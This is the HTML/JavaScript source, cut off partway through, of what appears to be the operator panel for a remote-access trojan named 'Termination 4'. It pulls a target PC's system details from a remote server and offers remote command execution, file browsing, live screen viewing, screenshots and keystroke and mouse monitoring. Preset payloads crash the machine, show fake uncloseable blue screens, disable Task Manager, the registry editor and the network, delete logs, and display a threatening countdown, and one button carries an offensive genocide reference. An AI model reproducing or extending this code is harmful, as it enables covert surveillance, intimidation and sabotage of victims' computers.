1111 lines
60 KiB
HTML
1111 lines
60 KiB
HTML
<!DOCTYPE html>
|
|
<html lang="en">
|
|
|
|
<head>
|
|
<meta charset="UTF-8">
|
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
|
<link rel="stylesheet" href="/css/font.css">
|
|
<link rel="stylesheet" href="/css/xadmin.css">
|
|
<link rel="stylesheet" href="/css/win10ui.css">
|
|
<link rel="stylesheet" href="/css/theme.css">
|
|
<link rel="stylesheet" href="/lib/layui/css/layui.css">
|
|
<link rel="stylesheet" href="/T4/css/task.css">
|
|
<link rel="stylesheet" href="/T4/css/hardware.css">
|
|
<link rel="stylesheet" href="/T4/css/font.css">
|
|
<link rel="stylesheet" href="/T4/css/chart.css">
|
|
<link rel="stylesheet" href="/T4/css/cmd.css">
|
|
<link rel="stylesheet" href="/T4/css/tools-icon-btn.css">
|
|
<script type="text/javascript" src="/lib/layui/layui.js" charset="utf-8"></script>
|
|
<script type="text/javascript" src="/js/xadmin.js"></script>
|
|
<script type="text/javascript" src="/T4/js/ansi_up/ansi_up.js"></script>
|
|
<script src="/assets/js/socket/Socket.IO.js"></script>
|
|
<script src="/assets/js/core/echarts.min.js"></script>
|
|
<script>window.breadcrumbs = [{name: "首页", url: ""},{name: "Termination4", url: ""},{name: "设备控制台"}];</script>
|
|
<script src="/js/address.bar.js"></script>
|
|
</head>
|
|
|
|
<body>
|
|
<div class="card-container">
|
|
<div class="card-column">
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">Socket IO 连接状态</div>
|
|
<div class="layui-card-body">
|
|
<p>设备构建 ID: <span id="SocketIO_PCMachineGUID">加载中...</span></p>
|
|
<p>设备SocketIO链接 ID: <span id="SocketIO_SID">加载中...</span></p>
|
|
<p>设备SocketIO最后心跳: <span id="SocketIO_PCLastSynchronizationTime">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">硬件状态</div>
|
|
<div class="layui-card-body">
|
|
<div id="CPUChart"></div>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">PCI 基本信息</div>
|
|
<div class="layui-card-body">
|
|
<p>注册T程序用户: <span id="PCI_PCreateUserName">加载中...</span></p>
|
|
<p>注册T程序电脑名称: <span id="PCI_PCName">加载中...</span></p>
|
|
<p>注册T程序版本: <span id="PCI_PCVersion">加载中...</span></p>
|
|
<p>注册T程序编译版本: <span id="PCI_PCompilation">加载中...</span></p>
|
|
<p>注册T程序时间: <span id="PCI_PCreateTime">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">sys 基本信息</div>
|
|
<div class="layui-card-body">
|
|
<p>操作系统平台: <span id="SYS_platform">加载中...</span></p>
|
|
<p>Python 解释器版本: <span id="SYS_version">加载中...</span></p>
|
|
<p>Python 16版本信息: <span id="SYS_hexversion">加载中...</span></p>
|
|
<p>最大整数值: <span id="SYS_maxsize">加载中...</span></p>
|
|
<p>最大 Unicode 值: <span id="SYS_maxunicode">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">os 基本信息</div>
|
|
<div class="layui-card-body">
|
|
<p>操作系统名称: <span id="OS_name">加载中...</span></p>
|
|
<p>当前登录用户: <span id="OS_login">加载中...</span></p>
|
|
<p>环境变量用户: <span id="OS_envlogin">加载中...</span></p>
|
|
<p>工作目录: <span id="OS_cwd">加载中...</span></p>
|
|
<p>CPU 核心数: <span id="OS_cpu_count">加载中...</span></p>
|
|
<p>当前进程 ID: <span id="OS_pid">加载中...</span></p>
|
|
<p>父进程 ID: <span id="OS_ppid">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">platform 基本信息</div>
|
|
<div class="layui-card-body">
|
|
<p>操作系统名称: <span id="PLATFORM_system">加载中...</span></p>
|
|
<p>网络名称: <span id="PLATFORM_node">加载中...</span></p>
|
|
<p>操作系统版本: <span id="PLATFORM_release">加载中...</span></p>
|
|
<p>操作系统详细信息: <span id="PLATFORM_version">加载中...</span></p>
|
|
<p>机器类型: <span id="PLATFORM_machine">加载中...</span></p>
|
|
<p>处理器信息: <span id="PLATFORM_processor">加载中...</span></p>
|
|
<p>Windows 版本信息: <span id="PLATFORM_win32_ver">加载中...</span></p>
|
|
<p>Python 构建信息: <span id="PLATFORM_python_build">加载中...</span></p>
|
|
<p>Python 编译器信息: <span id="PLATFORM_python_compiler">加载中...</span></p>
|
|
<p>Python 分支信息: <span id="PLATFORM_python_branch">加载中...</span></p>
|
|
<p>Python 实现: <span id="PLATFORM_python_implementation">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">ctypes 基本信息</div>
|
|
<div class="layui-card-body">
|
|
<p>Windows 版本: <span id="CTYPES_GetVersion">加载中...</span></p>
|
|
<p>系统启动后的毫秒数: <span id="CTYPES_GetTickCount">加载中...</span></p>
|
|
<p>系统启动后的毫秒数(64 位): <span id="CTYPES_GetTickCount64">加载中...</span></p>
|
|
<p>计算机名称: <span id="CTYPES_GetComputerName">加载中...</span></p>
|
|
<p>当前用户名: <span id="CTYPES_GetUserName">加载中...</span></p>
|
|
<p>系统目录: <span id="CTYPES_GetSystemDirectory">加载中...</span></p>
|
|
<p>Windows 目录: <span id="CTYPES_GetWindowsDirectory">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">socket 基本信息</div>
|
|
<div class="layui-card-body">
|
|
<p>主机名: <span id="SOCKET_hostname">加载中...</span></p>
|
|
<p>IP 地址: <span id="SOCKET_ip_address">加载中...</span></p>
|
|
<p>完全限定域名: <span id="SOCKET_fqdn">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">psutil 基本信息</div>
|
|
<div class="layui-card-body">
|
|
<p>CPU 逻辑核心数: <span id="PSUTIL_cpu_count">加载中...</span></p>
|
|
<p>系统启动时间: <span id="PSUTIL_boot_time">加载中...</span></p>
|
|
</div>
|
|
</div>
|
|
<br><br><br><br><br>
|
|
</div>
|
|
<style>
|
|
/* 极致紧凑布局 */
|
|
.layui-title {
|
|
display: flex;
|
|
align-items: center;
|
|
padding: 5px 0; /* 最小化标题区域高度 */
|
|
line-height: 1.2; /* 最小行高 */
|
|
}
|
|
|
|
.radio-card-container {
|
|
display: inline-flex;
|
|
align-items: center;
|
|
height: 24px; /* 固定容器高度 */
|
|
background-color: #f0f0f0;
|
|
border-radius: 3px;
|
|
margin-left: 10px;
|
|
}
|
|
|
|
.radio-card {
|
|
padding: 0 12px;
|
|
height: 100%;
|
|
line-height: 22px; /* 与容器高度匹配 */
|
|
font-size: 12px; /* 小号字体 */
|
|
border-radius: 2px;
|
|
border: 1px solid #ddd;
|
|
cursor: pointer;
|
|
transition: all 0.2s;
|
|
}
|
|
|
|
.radio-card.active {
|
|
background-color: #1E9FFF;
|
|
color: white;
|
|
border-color: #1E9FFF;
|
|
}
|
|
</style>
|
|
<div class="middle-card">
|
|
<div class="layui-card">
|
|
<div class="layui-card-header"><b>Termination 设备</b>控制台
|
|
<div class="radio-card-container">
|
|
<div class="radio-card active" data-value="Python">Python</div>
|
|
<div class="radio-card" data-value="Cmd">Cmd</div>
|
|
<div class="radio-card" data-value="PowerShell">PowerShell</div>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card-body">
|
|
<div id="console-log-area" class="console-log-area">
|
|
<div class="console-log-area-bg"></div>
|
|
<pre id="console-log"></pre>
|
|
</div>
|
|
<div class="command-input-area">
|
|
<!--<input type="text" id="command-input" placeholder="此处可输入命令,按回车执行" class="layui-input" style="height: 30px; line-height: 30px; width: 95%;">-->
|
|
<div class="layui-input-inline"style="height: 30px; line-height: 30px; width: 90%;">
|
|
<input type="text" class="layui-input" type="text" id="command-input" placeholder="此处可输入命令,按回车执行">
|
|
</div>
|
|
<div class="layui-input-inline" style="width: 10%;">
|
|
<button class="layui-btn layui-btn-primary" func-id="sendcommand">提交</button>
|
|
</div>
|
|
</div>
|
|
<div class="tools-container">
|
|
<button class="tools-icon-btn" lay-tips="基本信息" func-id="INFO">
|
|
<i class="iconfont"></i><!--information-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="重传SystemINFO" func-id="ReSystemINFO">
|
|
<i class="iconfont"></i><!--refresh-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="文件浏览" func-id="File">
|
|
<i class="iconfont"></i><!--folder-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="远程更新" func-id="UpdateApp">
|
|
<i class="iconfont"></i><!--share-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="实时屏幕(RealTimeScreen)" func-id="RealTimeScreen">
|
|
<i class="iconfont"></i><!--electronics-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="设备截屏(Screenshot)" func-id="Screenshot">
|
|
<i class="iconfont"></i><!--pic-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="设备受网络支配的本地时间任务表(WL3T)" func-id="BTIME">
|
|
<i class="iconfont"></i><!--form-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="键鼠监听" func-id="KM">
|
|
<i class="iconfont"></i><!--office-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="傀儡日志" func-id="LOG">
|
|
<i class="iconfont"></i><!--text-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="关闭" func-id="end">
|
|
<i class="iconfont"></i><!--close-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="重启" func-id="reboot">
|
|
<i class="iconfont"></i><!--refresh-->
|
|
</button>
|
|
<button class="tools-icon-btn" lay-tips="输入辅助" func-id="InputCard">
|
|
<i class="iconfont"></i><!--add-->
|
|
</button>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="layui-card">
|
|
<div class="layui-card-header"><b>Termination 设备</b>硬件状态</div>
|
|
<div class="layui-card-body">
|
|
<div class="resource-container">
|
|
<!-- CPU Card -->
|
|
<div class="resource-card">
|
|
<div class="card-header">CPU 使用率</div>
|
|
<div class="progress-container">
|
|
<svg class="progress-circle" viewBox="0 0 120 120">
|
|
<circle class="progress-bg" cx="60" cy="60" r="50"></circle>
|
|
<circle class="progress-bar cpu-color" cx="60" cy="60" r="50" id="cpu-progress"></circle>
|
|
</svg>
|
|
<div class="progress-text" id="cpu-text">??%</div>
|
|
</div>
|
|
<div class="progress-info" id="cpu-info">占用: ???% / 核心: ???</div>
|
|
<div class="card-footer">最后更新: <span id="cpu-time">--:--:--</span></div>
|
|
</div>
|
|
|
|
<!-- Memory Card -->
|
|
<div class="resource-card">
|
|
<div class="card-header">内存 使用率</div>
|
|
<div class="progress-container">
|
|
<svg class="progress-circle" viewBox="0 0 120 120">
|
|
<circle class="progress-bg" cx="60" cy="60" r="50"></circle>
|
|
<circle class="progress-bar memory-color" cx="60" cy="60" r="50" id="memory-progress"></circle>
|
|
</svg>
|
|
<div class="progress-text" id="memory-text">??%</div>
|
|
</div>
|
|
<div class="progress-info" id="memory-info">占用: ??GB/??GB</div>
|
|
<div class="card-footer">最后更新: <span id="memory-time">--:--:--</span></div>
|
|
</div>
|
|
|
|
<!-- Network Card -->
|
|
<div class="resource-card">
|
|
<div class="card-header">网络 使用率</div>
|
|
<div class="progress-container">
|
|
<svg class="progress-circle" viewBox="0 0 120 120">
|
|
<circle class="progress-bg" cx="60" cy="60" r="50"></circle>
|
|
<circle class="progress-bar network-color" cx="60" cy="60" r="50" id="network-progress"></circle>
|
|
</svg>
|
|
<div class="progress-text" id="network-text">??%</div>
|
|
</div>
|
|
<div class="progress-info" id="network-info">上行: ??KB/s 下行: ??KB/s</div>
|
|
<div class="card-footer">最后更新: <span id="network-time">--:--:--</span></div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<br><br><br><br><br>
|
|
</div>
|
|
<div class="card-column">
|
|
<div class="layui-card">
|
|
<div class="layui-card-header">进程</div>
|
|
<div class="layui-card-body">
|
|
<a class="layui-btn layui-btn-small" style="line-height:1.6em;margin-top:3px;float:right" onclick="socket.emit('T4CMDCommand', {'PCMachineGUID': PCMachineGUID, 'work': 'ProcessINFO'});" title="刷新">
|
|
<i class="layui-icon layui-icon-refresh" style="line-height:30px"></i>
|
|
</a>
|
|
<div class="task-container" id="taskContainer"></div>
|
|
</div>
|
|
</div>
|
|
<br><br><br><br><br>
|
|
</div>
|
|
</div>
|
|
<script>
|
|
socket = io("/Termination4SocketIOSpace");
|
|
window.onload = function () {
|
|
var commandInput = document.getElementById('console-log');
|
|
var currentWidth = commandInput.offsetWidth;
|
|
commandInput.style.width = currentWidth + 'px';
|
|
fetch("https://www.gvsds.com/T4/API/CMD/GetT4PLT.api?PCMachineGUID=" + PCMachineGUID)
|
|
.then(response => {
|
|
if (!response.ok) {
|
|
throw new Error(`HTTP error! status: ${response.status}`);
|
|
}
|
|
return response.json();
|
|
})
|
|
.then(data => {
|
|
console.log('Response Data:', data);
|
|
document.getElementById('SocketIO_PCMachineGUID').textContent = data.PCMachineGUID;
|
|
document.getElementById('SocketIO_SID').textContent = data.PCSID;
|
|
document.getElementById('SocketIO_PCLastSynchronizationTime').textContent = data.PCLastSynchronizationTime;
|
|
})
|
|
.catch(error => {
|
|
console.error('Fetch error:', error);
|
|
});
|
|
fetch("https://www.gvsds.com/T4/API/CMD/GetT4ComputerSystemINFO.api?PCMachineGUID=" + PCMachineGUID)
|
|
.then(response => {
|
|
if (!response.ok) {
|
|
throw new Error(`HTTP error! status: ${response.status}`);
|
|
}
|
|
return response.json();
|
|
})
|
|
.then(data => {
|
|
console.log('Response Data:', data);
|
|
document.getElementById('PCI_PCreateUserName').textContent = data.PCI.PCreateUserName;
|
|
document.getElementById('PCI_PCName').textContent = data.PCI.PCName;
|
|
document.getElementById('PCI_PCVersion').textContent = data.PCI.PCVersion;
|
|
document.getElementById('PCI_PCompilation').textContent = data.PCI.PCompilation;
|
|
document.getElementById('PCI_PCreateTime').textContent = data.PCI.PCreateTime;
|
|
document.getElementById('SYS_platform').textContent = data.sys.platform;
|
|
document.getElementById('SYS_version').textContent = data.sys.version;
|
|
document.getElementById('SYS_maxsize').textContent = data.sys.maxsize;
|
|
document.getElementById('SYS_maxunicode').textContent = data.sys.maxunicode;
|
|
document.getElementById('SYS_hexversion').textContent = data.sys.hexversion;
|
|
document.getElementById('OS_name').textContent = data.os.name;
|
|
document.getElementById('OS_login').textContent = data.os.login;
|
|
document.getElementById('OS_envlogin').textContent = data.os.envlogin;
|
|
document.getElementById('OS_cwd').textContent = data.os.cwd;
|
|
document.getElementById('OS_cpu_count').textContent = data.os.cpu_count;
|
|
document.getElementById('OS_pid').textContent = data.os.pid;
|
|
document.getElementById('OS_ppid').textContent = data.os.ppid;
|
|
document.getElementById('PLATFORM_system').textContent = data.platform.system;
|
|
document.getElementById('PLATFORM_node').textContent = data.platform.node;
|
|
document.getElementById('PLATFORM_release').textContent = data.platform.release;
|
|
document.getElementById('PLATFORM_version').textContent = data.platform.version;
|
|
document.getElementById('PLATFORM_machine').textContent = data.platform.machine;
|
|
document.getElementById('PLATFORM_processor').textContent = data.platform.processor;
|
|
document.getElementById('PLATFORM_win32_ver').textContent = data.platform.win32_ver;
|
|
document.getElementById('PLATFORM_python_build').textContent = data.platform.python_build;
|
|
document.getElementById('PLATFORM_python_compiler').textContent = data.platform.python_compiler;
|
|
document.getElementById('PLATFORM_python_branch').textContent = data.platform.python_branch;
|
|
document.getElementById('PLATFORM_python_implementation').textContent = data.platform.python_implementation;
|
|
document.getElementById('CTYPES_GetVersion').textContent = data.ctypes.GetVersion;
|
|
document.getElementById('CTYPES_GetTickCount').textContent = data.ctypes.GetTickCount;
|
|
document.getElementById('CTYPES_GetTickCount64').textContent = data.ctypes.GetTickCount64;
|
|
document.getElementById('CTYPES_GetComputerName').textContent = data.ctypes.GetComputerName;
|
|
document.getElementById('CTYPES_GetUserName').textContent = data.ctypes.GetUserName;
|
|
document.getElementById('CTYPES_GetSystemDirectory').textContent = data.ctypes.GetSystemDirectory;
|
|
document.getElementById('CTYPES_GetWindowsDirectory').textContent = data.ctypes.GetWindowsDirectory;
|
|
document.getElementById('SOCKET_hostname').textContent = data.socket.hostname;
|
|
document.getElementById('SOCKET_ip_address').textContent = data.socket.ip_address;
|
|
document.getElementById('SOCKET_fqdn').textContent = data.socket.fqdn;
|
|
document.getElementById('PSUTIL_cpu_count').textContent = data.psutil.cpu_count;
|
|
document.getElementById('PSUTIL_boot_time').textContent = data.psutil.boot_time;
|
|
})
|
|
.catch(error => {
|
|
console.error('Fetch error:', error);
|
|
});
|
|
};
|
|
layui.use(['util', 'form', 'layer'], function () {
|
|
var form = layui.form;
|
|
var util = layui.util;
|
|
var layer = layui.layer;
|
|
var $ = layui.$;
|
|
var consoleLog = $('#console-log');
|
|
|
|
// 悬浮文字提示功能
|
|
$('.tools-icon-btn').on('mouseenter', function() {
|
|
var content = $(this).attr('lay-tips');
|
|
this.index = layer.tips('<div style="padding: 0px; font-size: 14px; color: #eee;">' + content + '</div>',
|
|
this, {
|
|
time: -1,
|
|
maxWidth: 280,
|
|
tips: [2, '#3A3D49']
|
|
});
|
|
}).on('mouseleave', function() {
|
|
layer.close(this.index);
|
|
});
|
|
|
|
// 初始化选中第一个选项
|
|
$('.radio-card').first().addClass('active');
|
|
|
|
$('.radio-card').on('click', function(){
|
|
$('.radio-card').removeClass('active');
|
|
$(this).addClass('active');
|
|
});
|
|
|
|
util.on('func-id', {
|
|
"INFO": function() {
|
|
layer.open({
|
|
type: 2, // page 层类型
|
|
skin: 'class-layer-radio-ui-custom',
|
|
area: ['90%', '90%'],
|
|
title: 'Termination 设备 基本信息',
|
|
shade: 0, // 遮罩透明度
|
|
maxmin: true, // 允许全屏最小化
|
|
anim: 0, // 0-6 的动画形式,-1 不开启
|
|
content: './TDINFO.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
|
|
});
|
|
},
|
|
"ReSystemINFO": function() {
|
|
socket.emit('T4CMDReSystemINFO', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID});
|
|
},
|
|
"File": function() {
|
|
layer.open({
|
|
type: 2, // page 层类型
|
|
skin: 'class-layer-radio-ui-custom',
|
|
area: ['90%', '90%'],
|
|
title: 'Termination 设备 文件系统',
|
|
shade: 0, // 遮罩透明度
|
|
maxmin: true, // 允许全屏最小化
|
|
anim: 0, // 0-6 的动画形式,-1 不开启
|
|
content: './Files/index.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID+'&Path=C:/',
|
|
});
|
|
},
|
|
"WTIME": function() {
|
|
layer.open({
|
|
type: 2, // page 层类型
|
|
skin: 'class-layer-radio-ui-custom',
|
|
area: ['90%', '90%'],
|
|
title: 'Termination 设备网络时间任务表 (W3T)',
|
|
shade: 0, // 遮罩透明度
|
|
maxmin: true, // 允许全屏最小化
|
|
anim: 0, // 0-6 的动画形式,-1 不开启
|
|
content: './TDINFO.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
|
|
});
|
|
},
|
|
"BTIME": function() {
|
|
layer.open({
|
|
type: 2, // page 层类型
|
|
skin: 'class-layer-radio-ui-custom',
|
|
area: ['90%', '90%'],
|
|
title: 'Termination 设备受网络支配的本地时间任务表 (WL3T)',
|
|
shade: 0, // 遮罩透明度
|
|
maxmin: true, // 允许全屏最小化
|
|
anim: 0, // 0-6 的动画形式,-1 不开启
|
|
content: './WL3T.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
|
|
});
|
|
},
|
|
"KM": function() {
|
|
layer.open({
|
|
type: 2, // page 层类型
|
|
skin: 'class-layer-radio-ui-custom',
|
|
area: ['90%', '90%'],
|
|
title: 'Termination 设备 键鼠监听',
|
|
shade: 0, // 遮罩透明度
|
|
maxmin: true, // 允许全屏最小化
|
|
anim: 0, // 0-6 的动画形式,-1 不开启
|
|
content: './key.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
|
|
});
|
|
},
|
|
"Screenshot": function() {
|
|
layer.open({
|
|
type: 2, // page 层类型
|
|
skin: 'class-layer-radio-ui-custom',
|
|
area: ['70%', '100%'],
|
|
title: 'Termination 设备 截屏 (Screenshot)',
|
|
shade: 0, // 遮罩透明度
|
|
maxmin: true, // 允许全屏最小化
|
|
anim: 0, // 0-6 的动画形式,-1 不开启
|
|
content: './Screenshot.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
|
|
});
|
|
},
|
|
"LOG": function() {
|
|
layer.open({
|
|
type: 2, // page 层类型
|
|
skin: 'class-layer-radio-ui-custom',
|
|
area: ['70%', '100%'],
|
|
title: 'Termination 日志 (Log)',
|
|
shade: 0, // 遮罩透明度
|
|
maxmin: true, // 允许全屏最小化
|
|
anim: 0, // 0-6 的动画形式,-1 不开启
|
|
content: './TLog.html?PCMachineGUID='+PCMachineGUID+'&PCSID='+PCSID,
|
|
});
|
|
},
|
|
"RealTimeScreen": function() {
|
|
xadmin.add_tab_f("实时屏幕 - "+PCMachineGUID, "/T4/RealTimeScreen.html?PCMachineGUID="+PCMachineGUID);
|
|
},
|
|
"end": function() {
|
|
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "Python", "Command": "Termination._exit(0)"});
|
|
},
|
|
"reboot": function() {
|
|
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "Python", "Command": "Termination._reboot(0)"});
|
|
},
|
|
"sendcommand": function() {
|
|
sendcommand.call(document.getElementById('command-input'));
|
|
},
|
|
"UpdateApp": function() {
|
|
layer.prompt({
|
|
title: '更新文件地址(请注意,绝对确定地址正确,否则文件将被错误覆盖)',
|
|
formType: 0,
|
|
value: 'https://www.gvsds.com/FTP/Termination.bin',
|
|
maxlength: 300,
|
|
area: ['300px', '150px']
|
|
}, function(value, index){
|
|
layer.msg('开始依据[' + value + ']更新');
|
|
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": "Update", "Command": value});
|
|
layer.close(index);
|
|
});
|
|
},
|
|
"InputCard": function() {
|
|
var inputPadContent = [
|
|
'<div style="padding: 20px;">',
|
|
'<div class="layui-btn-container">',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="">空输入</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(10).start()">10秒倒计时</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(600).start()">10分钟倒计时</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(3600).start()">1小时倒计时</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.KONGBU.ScreenErrorSimulator()">KONGBUI演示</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.CountDown.FCDUI(seconds=60, text=\'Mr. Chen, You Know The Cost.\').start()">SaveChen计划演示</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /s /t 0\')">关机</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /r /t 0\')">重启</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /s /t 600\')">10分钟后关机</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /r /t 600\')">10分钟后重启</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /s /t 3600\')">1小时后关机</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'shutdown /r /t 3600\')">1小时后重启</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'taskkill /f /im svchost.exe\')">Svchost蓝屏</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value=\'os.system("taskkill /f /fi \\"pid ne 1\\"")\'>纳粹毒气室式进程蓝屏</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'wininit.exe\')">Wininit蓝屏</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.OBlue.BlueScreenApp(Termination.Static_TTFile, Termination.Static_WAVFile, None).Run()">HA</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.Blue.BlueScreenApp().Run()">假蓝屏</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TLUI.Blue.BlueScreenApp(False).Run()">假蓝屏(不可关)</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegTaskmgrDis())">禁用任务管理器</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegTaskmgrEnable())">启用任务管理器</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegBgEnable())">禁用壁纸</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegBgEnable())">启用壁纸</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegEditDis())">禁用注册表编辑器</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.RegEditEnable())">启用注册表编辑器</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.GetWorkMod())">获取当前运行模式</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.IsService(Termination.__service_name__).status())">获取当前服务状态</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(dir(Termination))">获取当前核心结构列表</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(globals())">获取当前核心环境列表</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.PDir.Is_NeedWorkPath())">获取是否处于目标工作目录</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.DisableNetwork())">(注意!!!)关闭网络(注意!!!)</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.tpll.EnableNetwork())">启用网络</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.remove(Termination.__log_path__)">清除T.log</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.IsSelfLock())">获取T_Lock锁是否锁定</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.IsOtherLock())">获取T_Lock锁是否有其它锁</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.lock())">锁定T_Lock锁</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.__lock__.unlock())">解锁T_Lock锁</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="ABUF=Thread_AutoRun.AutoRunSetup(Termination);Termination.TProcessManager.AddThread(ABUF);ABUF.start()">初始化服务</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="print(Termination.TWNT.ComputerINFO)">ComputerINFO</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="os.system(\'msg * \')">MSG</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TWNT.Level=">TWNT缩略图压缩等级调整</button>',
|
|
'<button class="layui-btn layui-btn-sm insert-btn" style="margin: 5px;" value="Termination.TProcessManager.GetThread(\'Thread-\')">进程句柄获取</button>',
|
|
'</div>',
|
|
'</div>'
|
|
].join('');
|
|
|
|
var index = layer.open({
|
|
type: 1,
|
|
title: '请选择',
|
|
area: ['800px', '500px'],
|
|
shadeClose: true,
|
|
content: inputPadContent,
|
|
success: function(layero, index){
|
|
$(layero).find('.insert-btn').on('click', function(){
|
|
var value = $(this).attr('value'); // 获取value属性值
|
|
$('#command-input').val(value); // 将value值赋给输入框
|
|
layer.close(index);
|
|
});
|
|
}
|
|
});
|
|
|
|
},
|
|
});
|
|
|
|
var consoleLogArea = $('#console-log-area');
|
|
|
|
function sendcommand() {
|
|
var command = $(this).val();
|
|
if (command == "cls") {
|
|
document.getElementById("console-log").innerText="";
|
|
consoleLogArea.scrollTop(consoleLogArea[0].scrollHeight);
|
|
$(this).val('');
|
|
return;
|
|
};
|
|
if (command) {
|
|
console.log('T4 CMD Command', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": $('.radio-card.active').data('value'), "Command": command});
|
|
socket.emit('T4CMDCommand', {"PCMachineGUID": PCMachineGUID, "PCSID": PCSID, "work": $('.radio-card.active').data('value'), "Command": command});
|
|
